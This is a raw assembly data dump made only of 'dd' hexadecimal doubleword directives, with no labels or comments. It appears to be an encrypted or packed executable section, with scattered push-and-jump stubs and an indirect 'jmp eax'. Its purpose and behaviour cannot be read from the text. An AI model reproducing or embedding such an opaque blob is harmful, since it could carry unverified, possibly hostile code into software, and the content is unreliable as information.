dd 6212BCCBh, 0D6864E39h, 6E0EBAC5h, 0A3224F3Dh, 0CF882441h
dd 0D0D16912h, 0DE4F1E1Ch, 4AF9A4BBh, 0C3E8963Dh, 4B5010C4h
dd 5A1ACEAFh, 0BD487F2Dh, 0D648C6F2h, 497B68DBh, 76620429h
dd 11000000h, 0C7B0AC26h, 4DA0E43Eh, 92A177C6h, 12B7D018h
dd 0D71E0D30h, 0E137F48Fh, 603F3F96h, 6512EDC4h, 0D5953F38h
dd 28536EBAh, 0A52D1ABFh, 0CCA5CB9h, 9F89C64Eh, 0AB6C0009h
dd 0AA2FB1B7h, 0F458D6B7h, 2177BE11h, 0C37EFED6h, 799A5BBAh
dd 0D0B9CF88h, 8876DB45h, 5FA880CFh, 8876ECF6h, 6FB96FCFh
dd 99688E69h, 0D83D4A52h, 0D8C30A20h, 0D7EFE93Fh, 47h
dd 16B7D01Fh, 0BD2E5968h, 0C8BFCABFh, 0EC385707h, 825FF8D5h
dd 2B1ECF82h, 828138AAh, 666C1BCFh, 1B8D17F6h, 74AB7D28h
dd 82721EFDh, 46D538CFh, 0D32424F3h, 4D6FE172h, 31A394C6h
dd 0C1578231h, 0E80ADCh, 0D0EA0000h, 196C12B7h, 36D2CDB1h
dd 0E1E7307Bh, 14822D98h, 47D1CF88h, 64BE4732h, 95CF8813h
dd 0C4603F3Fh, 0EB6B6413h, 1382863Dh, 72EAE0F3h, 0FC7C689Bh
dd 59B84721h, 3C5B506Bh, 0BE601BC8h, 71CAF9h, 0D9F0000h
dd 0C2351DE9h, 8179480Ah, 557E1D0Eh, 492F629h, 0DDF106F3h
dd 80A18302h, 66B2C64Dh, 0F20401B0h, 1CF8814h, 0C8EE6917h
dd 235BBA2Dh, 0F9BE607Ch, 9302D15Bh, 77AD75A4h, 48122F74h
dd 0E1D04D20h, 2A62h, 1D0EE800h, 7E28547Eh, 14EB0C89h
dd 9DAACF88h, 6D784B2Bh, 10B9CEBBh, 0E671536Eh, 53C225C0h
dd 0BE64741Bh, 345DF9h, 5CE50000h, 0C64D9A5Eh, 9B344334h
dd 7C4A7E9Fh, 25735C05h, 0F7A39EEAh, 0FFFFFEEDh, 0A4DDE8Eh
dd 62E33DC8h, 0A078C64Eh, 660CBAh, 1D948EF7h, 51C7C64Eh
dd 0B9D04862h, 4D80CA5Ch, 0A49F89C6h, 606710D7h, 178123FAh
dd 158063E2h, 41D7CF88h, 0E992594Eh, 0DB2C7AE4h, 0BE75E5ECh
dd 0A9A252B3h, 67B1D8C2h, 0ACAC7B28h, 1A8FFA5Bh, 5166CF88h
dd 7A0E017Dh, 0FD0A1EC7h, 8F9CC00Ah, 186167B0h, 0C2AA32ADh
dd 785621D8h, 0D58721FCh, 3ED041BEh, 3F4A29Fh, 8F9CDCF4h
dd 74A855FEh, 92D2065Eh, 2A4A7E89h, 0E1E730F3h, 86202D98h
dd 0E53367A9h, 302EA394h, 0C8988F5Dh, 0C2EFBA82h, 14EA5D54h
dd 7D673A59h, 0F9CF30FDh, 6C5B8E81h, 8F19F464h, 1F03C7B4h
dd 0B114BE83h, 5761362Fh, 3866F424h, 0B3196CCDh, 0E630D4CBh
dd 7C9B50A7h, 0A83198AFh, 0C7613C3Ch, 0FFD56251h, 7B51AE7Fh
dd 1F938BC7h, 89EA598h, 73426215h, 4FF1E5Ch, 0C18F8ECEh
dd 0F0D3F5Eh, 5B6C3958h, 0FAEC6976h, 5957615Fh, 0E24659CFh
dd 0EC6C64CFh, 0B7D033BFh, 0D2366911h, 0A14094DFh, 0CF59342Ah
dd 97414659h, 0DBF0379Bh, 0E3355299h, 0FA10696h, 357B3187h
dd 0D03F097Eh, 2426F241h, 77620AF7h, 56909B7h, 0A4D0FE09h
dd 3636A28Dh, 49A84DC8h, 51663766h, 442F027Ch, 7FF6D090h
dd 95FC134Bh, 0C64E298Bh, 0F88B0A85h, 8681AAD2h, 2E78D24Eh
dd 2EDB0228h, 1B7A8F78h, 0C64DB809h, 70E3DE4Ah, 4DB81C01h
dd 83E3D5C6h, 0B73578Ch, 1483E614h, 796F926h, 0F1C5C74h
dd 4DD5607Eh, 701EB2C6h, 61F084DDh, 0FFFFFF6Ah, 5A1ACEE9h
dd 0E2823651h, 0BFBF291Ch, 0DE9E3651h, 4B0BC4BFh, 54C32654h
dd 9CAB9466h, 896E4535h, 8C4D770Ah, 1E587546h, 0A5F39588h
dd 6E06554h, 55C64D81h, 0FCD4F0C3h, 0F084F357h, 487Eh
dd 1D0EC400h, 4B6BEA1Fh, 0ACCF8814h, 4B48F2DBh, 13566958h
dd 0B25CCA5Ch, 51B48223h, 0FFA86FC2h, 0A0C0F4D5h, 928D1B6Dh
dd 0EE57A0F6h, 0D8C280C6h, 65B327B5h, 0B0505637h, 8640D801h
dd 6DE9E6D1h, 0AFDBD632h, 4Dh, 1F1D0E37h, 49F1DDEAh, 9C347182h
dd 0E3BA6C48h, 0F2077241h, 0D873986Ah, 0BFC6BD4h, 4E4B988Ah
dd 566DBBC6h, 88DF3F77h, 688A0CFh, 6BA4758Fh, 4E4E9D2Ch
dd 6C1CDC39h, 0ED3BD8C2h, 41897EEBh, 7E07021Dh, 0C64E4BA4h
dd 0FCB761B7h, 17B7D0E2h, 0E5DC2867h, 0F90E6E5Ah, 809B8510h
dd 68C0C64Dh, 59030659h, 511F8E77h, 61CEE5FCh, 0DB26F777h
dd 9C73E3ECh, 9D8E3908h, 96EB6A9Fh, 0BDCF831Dh, 59BC03CAh
dd 0CF82D0C7h, 9C0A9C8Ch, 0D10E1481h, 0E954CF82h, 0A78D32AAh
dd 3954F9B1h, 9A000000h, 666A1CD0h, 0E35BDA92h, 4E048062h
dd 0D345D3C6h, 444493E0h, 34C5D233h, 0A9E0CF83h, 8334BA2Ch
dd 198F99CFh, 34918F06h, 6ED1CF83h, 4708B72Fh, 0ADD9F9B1h
dd 21000000h, 435A1ACEh, 0BED18940h, 405F1FC9h, 0CCD19143h
dd 4D859E49h, 16153C6h, 993FED1Ch, 0D2DB21A2h, 0F5DF4C67h
dd 586F9A75h, 70140B73h, 2725F6C1h, 321673D2h, 9F4DCF83h
dd 4E39B0C1h, 4952C4BAh, 5AAFAD7Eh, 0BA5184FBh, 3445D3D8h
dd 2866C045h, 23F5C650h, 0BB122510h, 26ADDAC3h, 0B5575438h
dd 27527563h, 1839Bh, 0B2A02B00h, 48349EE9h, 0AFAF2463h
dd 124C817Eh, 0A7D7FE09h, 0FB4FFE76h, 8A75A6D4h, 0F4131844h
dd 708F9CDCh, 15F72444h, 297769ECh, 0AFDCCF88h, 5707CE07h
dd 0EF8F3946h, 0BC26AF9Ah, 9FC64D80h, 7F3BA89h, 0EA1F1D0Eh
dd 8887F7DDh, 9AC409FCh, 27122183h, 82B0B99Eh, 415CCCCFh
dd 82B04ED4h, 6AA914CFh, 9825AE99h, 0B0544B33h, 0E6DD2766h
dd 0B1C30FB4h, 0B8D6F9h, 1AB0000h, 2A064040h, 6F873ACBh
dd 435A1ACEh, 0BED18940h, 4D859457h, 587761C6h, 4D84F3EDh
dd 66B068C6h, 0DE9E4A35h, 761304BFh, 0FC134B81h, 84F9EBA8h
dd 0CE5AC64Dh, 346B13B7h, 0D43146D0h, 0CF82B0F7h, 96B17AAEh
dd 312DA645h, 0ED3392E7h, 66D8BA59h, 1BB2C5B2h, 864D3A63h
dd 84E9B4D8h, 0DDC07563h, 0A309h, 0D2804B00h, 6814BEC9h
dd 0CF8F4443h, 322CA1DEh, 0C7B71E69h, 1B6F1ED6h, 0AAD5C6B4h
dd 14733824h, 90EFBCBCh, 35574424h, 2A57C94Ch, 8FFCCF88h
dd 5707CEE7h, 34AE1722h, 27C64D80h, 2C5B42F1h, 0B8CFB8B8h
dd 0D3356810h, 6BBACB09h, 2110449Eh, 1ACEBE3Ch, 9440435Ah
dd 0CB8C7D4h
dd 94403F6Ch, 35CB9D4h, 913EB578h, 685C2F6Eh, 22FD7D67h
dd 0FC0B1086h, 7275A8C8h, 10EE215Dh, 796B3E5Dh, 87C037BDh
dd 4ADC4B8Ah, 0DB834A3Dh, 0B91560C4h, 609F06BDh, 0F019F474h
dd 0B88BF3D7h, 32Ah, 9565CA00h, 3C5303CEh, 0C2DD9D47h
dd 504F0FC5h, 0E4BBBB13h, 5B32289Fh, 0E6B9A128h, 5B322CA1h
dd 0E4BBA328h, 5C332B9Fh, 76FE6880h, 24890000h, 4B85024h
dd 1000000h, 58042444h, 81E28952h, 4C2h, 4EA8100h, 87000000h
dd 895C2414h, 5E68240Ch, 89000008h, 0A2682404h, 8B093A95h
dd 0C481240Ch, 4, 38C468h, 24248900h, 4240481h, 58000000h
dd 74F168h, 24148900h, 5089CA89h, 34FF5A08h, 0C4815824h
dd 4, 592434FFh, 0E904C483h, 0FFFB99E8h, 3A72DC8Bh, 47E82A96h
dd 0B8649EE1h, 93AAB4Bh, 0E0FFC503h, 7C5FAF44h, 12FFAF2Ah
dd 64BBB9CEh, 2A89CE2Dh, 53EAA101h, 3890C15Dh, 25D34D7Dh
dd 2E013DADh, 4C13C0E0h, 7DA806DFh, 398CCABCh, 309FDE33h
dd 51F8A755h, 76E2CCD4h, 5415FECBh, 54259228h, 2FFFE554h
dd 3ACD77C2h, 39FE9CA3h, 0AC698D8Dh, 8D89093Ah, 9351629h
dd 287D85C7h, 67040935h, 0BD890000h, 9352FBDh, 225585C7h
dd 935h, 0BD8B0000h, 9351BD5h, 1BBDB5FFh, 8D890935h, 93521FDh
dd 0D0595FFh, 85890935h, 93529ADh, 95FF006Ah, 9350829h
dd 3FEBC08Bh, 838DAD98h, 877BDAD7h, 0C9766C23h, 0A4192B45h
dd 46676C82h, 72EF93Ch, 0B7E8BA0Eh, 3E3EB4h, 0E1B352D0h
dd 0DF9FE8D2h, 42FD3E65h, 0DB6E7DA4h, 0D02AEE6Ch, 0C18881DCh
dd 17856AA4h, 0EBC4C506h, 5F023708h, 0E7339C0Ah, 0D6DE977h
dd 0E680000h, 0E9093AAEh, 0FFFAD210h, 3AAF0F68h, 0D206E909h
dd 6E68FFFAh, 0E9093AB0h, 0FFFAD1FCh, 3AB1CD68h, 0D1F2E909h
dd 6C68FFFAh, 0E9093AB3h, 0FFFAD1E8h, 3AB59668h, 0D1DEE909h
dd 5E68FFFAh, 0E9093AB7h, 0FFFAD1D4h, 3AB86E68h, 0D1CAE909h
dd 193BFFFAh, 419DFBCh, 0E778009Dh, 47DFA1FAh, 9E974952h
dd 0E099A2FBh, 0F5A6332Ah, 0B0EDE883h, 0F4A93628h, 0B6E7F06Ch
dd 9E24BA12h, 9A12FB94h, 2B47CA09h, 5DD143AEh, 3D885744h
dd 343B6965h, 0E8150364h, 1B9D2BC6h, 0DC13011Bh, 8BC29B89h
dd 0DC928523h, 20h, 0C39B2EABh, 724AD50Bh, 28AE1503h, 11953BC9h
dd 0CF561301h, 29A9E4E5h, 0CDBE9285h, 0D000000h, 43AE2B47h
dd 0B24158D1h, 3EB5223Eh, 792756CAh, 1C364153h, 4E4FA147h
dd 3645F76Eh, 0AC35291Ch, 8C366C20h, 881C363Dh, 47B98E66h
dd 0B843AE2Bh, 0AB2E45EDh, 7D458945h, 0F4CC169Dh, 0DF75813Bh
dd 1502C698h, 36118A0Ch, 38A5BB63h, 54C937B9h, 0CC22A64Dh
dd 6DF4E200h, 0E8120BCCh, 0F4E57C75h, 0E885F7FAh, 707E02F1h
dd 4C8CE84h, 0EE8663FAh, 797762F9h, 0A3F8F67Ah, 0C86544DDh
dd 509E22D1h, 0A27EBF94h, 0AB931EE9h, 0B54h, 0DDBE1B39h
dd 29B061Bh, 0A7F4E17Eh, 0FBA03931h, 0B0EDEC85h, 7DF496E3h
dd 0A2B93F5Ch, 7CF26637h, 0A6BA3E5Fh, 206C6439h, 0FB933882h
dd 1C9F2C12h, 0F2AB2E47h, 0D3B7F26Eh, 0B2D80ADBh, 25069759h
dd 5FD39B2Eh, 8220AC42h, 15037193h, 6AC4769h, 6E842BB6h
dd 1F51784h, 464D73h, 0AD970E13h, 85F461ACh, 0D70692h
dd 47C50000h, 6A1EAE2Bh, 36418E34h, 90648A1Ch, 6D216D11h
dd 36418D37h, 7D67891Ch, 1C364137h, 8321AD33h, 1C364139h
dd 0D14BAB2Dh, 22B24158h, 1C36464Bh, 0E8F6819Dh, 1C363DE2h
dd 372ED0D6h, 23CD4FA2h, 851C11ABh, 7562FA6Eh, 0DA9E7B7Bh
dd 4B755946h, 0A62DC9D4h, 0EEB48E19h, 1C363DC4h, 4FE01EC0h
dd 0D31D9F52h, 64A2E5FBh, 90161503h, 0B1693C0Bh, 0A411711Dh
dd 4FEAEB67h, 0B821AF47h, 0AC0BCC20h, 118A22Ah, 0E47D0398h
dd 0A4D0F1F5h, 26CDE9A2h, 0A533Ch, 0BD1A3800h, 9C0518E0h
dd 0FBE679FFh, 5146DEA2h, 0FC9D944Ch, 23E7949Fh, 4A0E8F0Ah
dd 21D7C4D1h, 5709920Fh, 0EBDDBEDBh, 92B7FDA3h, 22B312FBh
dd 0AB2E47A1h, 0ABC23CF2h, 0B541C32Eh, 0E1BA273Bh, 0AE2B47F2h
dd 445DD143h, 0DCF97688h, 718B4318h, 9C10E3FEh, 1CD81683h
dd 66663E89h, 35D8D38h, 3F457D15h, 4D627AEDh, 575907EFh
dd 40A90C9Ch, 0F96C1301h, 0FEFB520Bh, 0AA6C9284h, 16000006h
dd 0E50C8DA4h, 0A6F85F63h, 0BB0D4633h, 9B2E943Bh, 9F0CE95h
dd 2FC1256Ch, 3782019Fh, 70761503h, 38CDF381h, 178E1301h
dd 6E12C2Dh, 76869285h, 45000006h, 0BC39B2Eh, 34372D5h
dd 0B1406615h, 1409D23h, 4851CD13h, 713A37A9h, 0FA99EA76h
dd 569D5321h, 11C8F2B0h, 1ABC1301h, 73765EC3h, 0F8DDC71Eh
dd 129AEBC8h, 655D30E4h, 565A821Fh, 933BBB8Dh, 9285533Ah
dd 62C2Dh, 0A495E00h, 0C804DCE7h, 355271Ah, 938B0D15h
dd 0EE54F2ADh, 0A67E4986h, 0E1D7826h, 0DD038FE3h, 663E8916h
dd 12ED1666h, 0BC73372Ch, 88389438h, 0FC9C4361h, 79D59CEh
dd 88EE6739h, 8B7AB3Dh, 1616F0DAh, 2CC2E497h, 21AD43C5h
dd 0E115809Fh, 32AFC33Dh, 5E7BF769h, 0C06D5186h, 0BDA54C6Eh
dd 8F4h, 3D5E7BD9h, 623BA6BBh, 8714819Eh, 5B4059D1h, 900D8CA5h
dd 1D14F683h, 0C2591F7Ch, 1C12C6D7h, 0C65A1E7Fh, 0C00CC4D9h
dd 0FB919822h, 0BCFF8C12h, 568C2B47h, 1C36416Ch, 807A4668h
dd 0BF50A388h, 47D41FD1h, 2BBCB47Ch, 0AB46A835h, 35BC2539h
dd 1BB33DB3h, 0CDDD085h, 9902A415h, 1CBD9B5h, 0F512FB86h
dd 2645D3C5h, 28C67C61h, 0EBA036CCh, 248012FBh, 5C9D64Ah
dd 9C3937C9h, 0FBEB7C46h, 7E767812h, 0A9971EA9h, 6185FA3Ah
dd 0A428C6D7h, 0FBFABCFEh, 9636B812h, 0FB06ACF2h, 7D0012FBh
dd 2217B042h, 7C781EA4h, 0F2EF83F5h, 41A51BA9h, 5BD512FCh
dd 57695D3Eh, 0C537BFDAh, 33C130A9h, 0DA8FB18Dh, 0BB988C99h
dd 51EBD10Fh, 8BDF2570h, 766C2D19h, 5F1FF52h, 7FDC978Bh
dd 4A4FE4F6h, 0EB7C5E76h, 4CE09805h, 0AE10A053h, 622570EBh
dd 8E0B209Ah, 5F7AF163h, 24106591h, 0FCA2DD51h, 2570CBB6h
dd 0D9C22CB2h, 0E1C58DF5h, 439EE204h, 100C3B3h, 47040000h
dd 34A1BE2Bh, 0FAAA12BAh, 738049AEh, 7F1A13EDh, 7D04F074h
dd 6988150Bh, 3622F1DBh, 0A40D211Ch, 65E70A8Fh, 0C8DB688Bh
dd 2D26BC10h, 51150CCFh, 0D023B6AFh, 1BD5C25Ch, 638325DBh
dd 0F2DAF532h, 95DEC86Bh, 7A000007h, 0DEA2FBD8h, 93455643h
dd 0E49C019Ch, 8E524B4Ch, 0A2990297h, 910821E9h, 0BADF540Ch
dd 94011FE1h, 0C4DD5107h, 79DF1D7h, 12FB90BDh, 47A72CB9h
dd 0D143AE2Bh, 0A45C4158h, 0C8900D8Ah, 79834B54h, 23F8FCE5h
dd 0EDB3C45Dh, 1C3641C7h, 20D31DC3h, 0CD24B5ACh, 7306EE5Fh
dd 0CBEDFFAh, 894FF9C1h, 11A6h, 0F6ACE000h, 1C364DCCh
dd 2FCE26C8h, 0B1D1h, 2B470200h, 13B543AEh, 0C71C3652h
dd 879B6E56h, 1108B21Ah, 0C98F6C88h, 19A74A57h, 1C3631B6h
dd 8608B894h, 9726B90Dh, 12024FA7h, 814B5935h, 751C363Ah
dd 0BC177D45h, 0F1FFE596h, 8958B05h, 2947A093h, 5DD345ACh
dd 2DC4DD50h, 3AAE45ABh, 0C63AB926h, 0B1263EABh, 0C130BE42h
dd 0D79282D3h, 0BB45892Dh, 22A83AA7h, 161C3641h, 0E1F66E90h
dd 19668E12h, 0C4E2E2Bh, 2F954BF5h, 2B1C35A7h, 51EC3D85h
dd 0F3535969h, 7FE4FA8Eh, 6E6B0577h, 0E02F8F2Dh, 7F531C35h
dd 89505F51h
dd 0FFFEA21Ah, 0EB1579FFh, 0A68E6673h, 349h, 5C45D8E2h
dd 2B47F998h, 3B543AEh, 121C3642h, 900D229Ch, 20250F64h
dd 0E014819Eh, 88B7F26Eh, 82B9D34Dh, 0FB7E40Ah, 896871EDh
dd 0E17DEF07h, 0F602C8D6h, 0F0F61C35h, 9B3474D0h, 0C02EFDA5h
dd 5F0DA331h, 912B1C35h, 79F3039Eh, 6AF5FCE5h, 9947875Fh
dd 150C0BC4h, 0BA2738C2h, 2BAEC537h, 54AA44C8h, 0B537BADFh
dd 0C0DF9341h, 5671EB29h, 0ABB82CC2h, 32F2DA4Eh, 5F6C7AFh
dd 79DB0000h, 0A4B93F5Ch, 8798603Dh, 67FF811Ah, 0BEB72972h
dd 0C0B9821Bh, 0D5C6D34Ah, 108D0823h, 0D4C9D648h, 1687100Ch
dd 7E445A32h, 7A12FB8Eh, 2B476A69h, 0BE35A2BEh, 993DB43Ah
dd 4205AFF5h, 0DF011C36h, 0D8CA517h, 4B54C890h, 2978E52h
dd 5E47DEFh, 4886B6Eh, 4C9907EAh, 3B4AD58h, 3641D7DDh
dd 0F5CDD31Ch, 68A6CE73h, 6E2FC1C4h, 509891BCh, 253D689h
dd 2EB50000h, 9C2CC787h, 0E2D8BBFCh, 559C3D34h, 7B703CA5h
dd 78867E0Dh, 87F5FCE5h, 464B2E16h, 0DDFA7688h, 0FFD8CC19h
dd 883E8ECEh, 22499h, 872EFA00h, 0D18D9A99h, 35EFA913h
dd 0C7FB9D1Ch, 717FFE2Ah, 4973315Dh, 3D1C35F1h, 0DBAF5B9Bh
dd 0F1CBF1AFh, 19BF1C35h, 0F17D47DDh, 77791C35h, 6CACEC7Ch
dd 0B035E2D8h, 0ABCA03C4h, 1EA0883Eh, 0DA5E9502h, 1DB6B1Ah
dd 2E1C0000h, 0D907C787h, 1C3641FFh, 0BD11BDE3h, 36419D27h
dd 0E27991Ch, 0AE4688Bh, 0D5D563EAh, 0EE2D8BCh, 36A3BE40h
dd 0C68371BEh, 579F3834h, 3EFB56B7h, 1A31188h, 11BD0000h
dd 474BE9D3h, 3BBBDD1Dh, 0C7872E94h, 41FBD907h, 0C9DF1C36h
dd 1A54C55h, 3641D9E3h, 25CBCD1Ch, 189828CBh, 0C9E2D8BCh
dd 1E6F685Ch, 49883EFCh, 16Dh, 0AE2B478Ah, 445DD143h, 0D14D6F57h
dd 0E992CC8h, 0EC847656h, 415F0BEBh, 1503641Eh, 9725CCD2h
dd 13011B31h, 0C88173F2h, 92852385h, 3CE2h, 9B2EB100h
dd 0BBF0BC3h, 3641EFD5h, 0FDA3EB1Ch, 1C3641B7h, 33C32DB3h
dd 371729Dh, 0FE708615h, 54E40FE1h, 13011172h, 9C2B233h
dd 928529C4h, 0ADA3h, 44DDDF00h, 0DA1A9E55h, 0AE2B4733h
dd 4158D143h, 0C5223EB2h, 50C42FAAh, 0BE30BEDBh, 34ADC133h
dd 8C092698h, 0BEB19368h, 6E1C3646h, 27B8E5F2h, 0B6FCA29Ch
dd 0BC1C363Dh, 363D9C26h, 0AC16981Ch, 0F608C42Ah, 12965D7Ah
dd 0C1A836E2h, 0B71501EEh, 0A239D31h, 0D34A0E8Fh, 0B23C59D6h
dd 0D7F72F32h, 1B03AEF2h, 3CCh, 752683B1h, 2A736E03h, 7F1CB9B6h
dd 237861F9h, 0C8D5C45Dh, 55CCBECBh, 8AA15744h, 54CA8E0Fh
dd 8EA25647h, 0E8A48C11h, 0FB8D10BAh, 0F4D70412h, 6974EB15h
dd 7C19168Ah, 2978C72h, 0F8E178F2h, 5841DDA3h, 2B479043h
dd 839C1EAEh, 9D59DB16h, 0A21C7016h, 0ECD60C89h, 0E81C3641h
dd 266DB98h, 0AD437CDEh, 9C398321h, 0AB2D1C35h, 445DD14Bh
dd 9C428557h, 4E591C35h, 36923696h, 359C22A8h, 6E90161Ch
dd 7E14E0F5h, 1502A08Fh, 338B4365h, 0AD1C7FF9h, 0D4DE04C3h
dd 0D01300B2h, 0F7D420CEh, 0AE2B4754h, 445DD143h, 653D8857h
dd 64343B69h, 8AF21503h, 0AA739350h, 31DF1750h, 12B444AFh
dd 42130134h, 0CF41B02Dh, 18AB4653h, 2F601B09h, 0C00DCEB6h
dd 0A792850Bh, 2Ah, 0D39B2EE8h, 41B33E5Bh, 0BC40B32Eh
dd 0D210BC32h, 15037243h, 2CBC37B9h, 1301118Ah, 0F1EADA4Bh
dd 9285299Ch, 114CBh, 2B47FC00h, 58D143AEh, 223EB241h
dd 233CADC5h, 16B638B6h, 0CA676F66h, 668E9A21h, 438743E7h
dd 358C179Dh, 578D131Ch, 1C358C6Dh, 3DAF4769h, 0DE69621h
dd 0B4F66C3Eh, 135F657Fh, 3F651C36h, 1C361375h, 63556F71h
dd 0CD23CDC8h, 0BF53C101h, 4627D19Eh, 740BD9AEh, 921C359Ch
dd 62FBF468h, 0F6F87C77h, 37D79FBh, 605A726Fh, 0AE22D1CEh
dd 2CC826B3h, 0C95894Fh, 1F900C0h, 0E6F35D34h, 9FEB8F0Eh
dd 3591BB01h, 0CD29AF1Ch, 17B76F3Ah, 2BDEE89h, 8F0C9215h
dd 0A12DE5B0h, 0CC5A2E03h, 2CA0460Bh, 0D2C75E60h, 3419AA10h
dd 0FCF89E1Ch, 22B7AE50h, 6B6E0779h, 0A26A5C7Bh, 0F8E281E9h
dd 204h, 2D6E4BE9h, 722BB6ABh, 376471EEh, 6B30A9C1h, 405D7CF5h
dd 0ED840673h, 3229AFECh, 0EC82F6A7h, 362AAEEFh, 903CF4A9h
dd 0FB8A6852h, 8C2F5C12h, 0F2AB2E47h, 1DC3F26Eh, 1C364197h
dd 0EBE30D93h, 25F1EE93h, 605A9E1Fh, 10CA83C3h, 805D9957h
dd 0A19B2ECBh, 3641B903h, 6C75E91Ch, 4A702E56h, 3E1C3641h
dd 34985698h, 3719F6Eh, 752B5F15h, 1301114Fh, 0A351A54Bh
dd 6066F6FDh, 90130111h, 7E1B1099h, 120F8170h, 0F7C6C87h
dd 0D84D4225h, 29A2EBECh, 0BBC59285h, 6000000h, 43AE2B47h
dd 0B24158D1h, 410AB40Ch, 0E80B968Bh, 0E4475C64h, 0E39A28CCh
dd 151C3597h, 331B8019h, 43BC14Bh, 5F17D74h, 0EDDC978Bh
dd 0DC763855h, 4DDA19D7h, 902AA27Ah, 53F7FF98h, 33AD28Dh
dd 3930C615h, 21CF51A0h, 0D8EB7Ch, 0D3F016CCh, 0C2E40BCCh
dd 6079F00Ah, 0F769933Bh, 99900AEAh, 0B76C8D2h, 0E907ECAAh
dd 0A32390FDh, 7C660DE9h, 0F4h, 3D5E7BD9h, 623BA6BBh, 8714819Eh
dd 5B4059D1h, 900D8CA5h, 1D14F683h, 0C2591F7Ch, 1C12C6D7h
dd 0C65A1E7Fh, 0C00CC4D9h, 0FB899822h, 0BCFF8C12h, 0F2AB2E47h
dd 31AEC23Ch, 0A8D74BC5h, 3641D0FAh, 0CC22C41Ch, 2B47DCCFh
dd 5DD143AEh, 41367C22h, 0F66E1C36h, 348E12E1h, 30903CB2h
dd 0E096BE37h, 0B08D6990h, 59E840Fh, 5A976471h, 0B4EAE20Ch
dd 150CA9B3h, 40B43F61h, 2DA8C32Ch, 0A26DAC3h, 0CC0668Dh
dd 0FB58ECD6h, 2EC6E812h, 1910B1A0h, 0A78D1016h, 0CD1158D4h
dd 0B22F42A9h, 0E905BD3Fh, 0EBB03E4Ah, 18A7B943h, 0D73E408Ah
dd 3CB23411h, 0AD2A46B8h, 0B82E6121h, 0C033A6BFh, 1C16843Ch
dd 74E8678Fh, 2818DBFCh, 507A2864h, 4411D68Ah, 0C74E1EA2h
dd 90D8C9Dh, 0A7AC98EDh, 949C49D7h, 0FDF9FA8Ch, 0A9F2EF83h
dd 539E3B37h, 36Bh, 844F9C00h, 41B01547h, 0AB4653CFh, 37BA2739h
dd 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h
dd 2AC9D04Dh, 4EC815Dh, 89000000h, 0E6892434h, 4C681h
dd 0EE830000h, 24348704h, 0E189515Ch, 4C181h, 0E9810000h
dd 4, 5C240C87h, 68240C89h, 0AAFh, 0B9242C89h, 366D7E1Bh
dd 5480F181h, 0D9F76827h, 7EBD5549h, 311A5505h, 0C9815DE9h
dd 5E433B7Fh, 0B18DC181h, 0EC830956h, 24248904h, 4240483h
dd 4F05685Dh, 14890000h, 8BA24h, 0EA010000h, 0FF5A0A89h
dd 835D2434h, 0C8B04C4h, 0E6895624h, 4C681h, 0C6830000h
dd 24348704h, 0C4BAE95Ch, 24EDFFFAh, 85D0A927h, 59051F45h
dd 0B80C6187h, 93AB987h, 0E0FFC503h, 130C6868h, 4E0C4031h
dd 131F1DDh, 5BF00EBEh, 5747C774h, 573FAABFh, 325F6A7Ch
dd 6540260Bh, 6AE8403Ah, 23EB215h, 9BF742Ch, 207785B8h
dd 1D46F697h, 15D8E10h, 78D70069h, 377B5682h, 739A403Fh
dd 63F43AACh, 1E5B48F5h, 30060CF4h, 63018A1Fh, 74A80C3Ah
dd 2DEBh, 0DD00000h, 319CBFAEh, 0ADF9DFF2h, 8C88A7A5h
dd 0B7FB7552h, 0F99CBE00h, 937EE5ADh, 68009D89h, 14672681h
dd 6B03B2BDh, 0E976A850h, 0B1Fh, 3ABBDD68h, 0C40EE909h
dd 6968FFFAh, 0E9093ABDh, 0FFFAC404h, 3ABE9668h, 0C3FAE909h
dd 3F68FFFAh
dd 0E9093ABFh, 0FFFAC3F0h, 3AC03268h, 0C3E6E909h, 568FFFAh
dd 0E9093AC1h, 0FFFAC3DCh, 3AC18468h, 0C3D2E909h, 6668FFFAh
dd 0E9093AC3h, 0FFFAC3C8h, 3AC47768h, 0C3BEE909h, 0D2FFFFAh
dd 0F06DF3A8h, 332CB4E9h, 0EB83F5A6h, 322BADEEh, 4C3DF6A7h
dd 6932A7BEh, 44597CF7h, 6835A2BCh, 3A637CF0h, 22A83696h
dd 1612FB86h, 9B2E4685h, 96D50BC3h, 82150CF8h, 0D24E705Ch
dd 0C20D8C5h, 36833B93h, 0C9CC7D67h, 9926AD49h, 5276560Eh
dd 0CC28B1A8h, 0D2330036h, 67FCFE0Bh, 0CACC8272h, 0D5F6C602h
dd 0B8890492h, 0BC2E6DAh, 2C13A3F9h, 0CDDA56C8h, 0F3A84653h
dd 63F8F16Dh, 7F97B76h, 4B836D68h, 715B617Fh, 494F1C35h
dd 7E8026ADh, 6F02F2E7h, 607E4A24h, 1C35715Ah, 309A484Eh
dd 241C3571h, 2C606C82h, 218DF654h, 0CB2B07B2h, 2F1C635h
dd 38AC3215h, 0F2D5B451h, 6FFDE58Ch, 6A000009h, 2EB2EBC8h
dd 83F5A633h, 34ACF1ECh, 7E029B3Ch, 0F2A9F2E7h, 6178F199h
dd 2AAFC43Ch, 6471EF71h, 34ADC137h, 0D70DC167h, 12FB86EDh
dd 1517BCE9h, 886B76EBh, 0E27EF004h, 968AFEF5h, 0B0AC0519h
dd 0A648CC27h, 7627C94Bh, 95E7F0D0h, 0D47D5326h, 4FA7342Ah
dd 0B3EBF1C4h, 40AA12EDh, 638D0827h, 0BCA3418Dh, 0BA150295h
dd 43AE2B40h, 5A02FB93h, 4EA1E65h, 559C42F0h, 8C3D1B1h
dd 0C66A710Eh, 5D1EA02Eh, 0D24E1300h, 0A2BA2EC5h, 0DC29BE35h
dd 21840DE8h, 0E1F31A33h, 85779285h, 5605F1E8h, 44h, 3908E30h
dd 9F546CF0h, 0D2D2F6DAh, 2E20BF37h, 0D50BC39Bh, 1503724Ah
dd 1AA428AEh, 0F2D9502h, 56873ACEh, 0D765EC08h, 130079F1h
dd 844133B2h, 79309A48h, 82241300h, 0C183CA72h, 0DDE49285h
dd 0A3000000h, 6772EB15h, 0A8011D8Fh, 0B7223BB4h, 0B836B83Ch
dd 2BAEC739h, 0BFD854C8h, 0F06C8E34h, 6C880CE7h, 3C617EF2h
dd 3640F9A8h, 7EF7091Ch, 3E21AB39h, 93151C36h, 0A22965Dh
dd 0CE2668Dh, 0DDFA76E8h, 79F406C0h, 84534D32h, 0C02EE9B5h
dd 39A6BA34h, 2AB814BAh, 1C3587A0h, 4FE21294h, 8C408C44h
dd 16DDFA72h, 0E40F8CA2h, 0D8668E60h, 1502AEB5h, 9948B35h
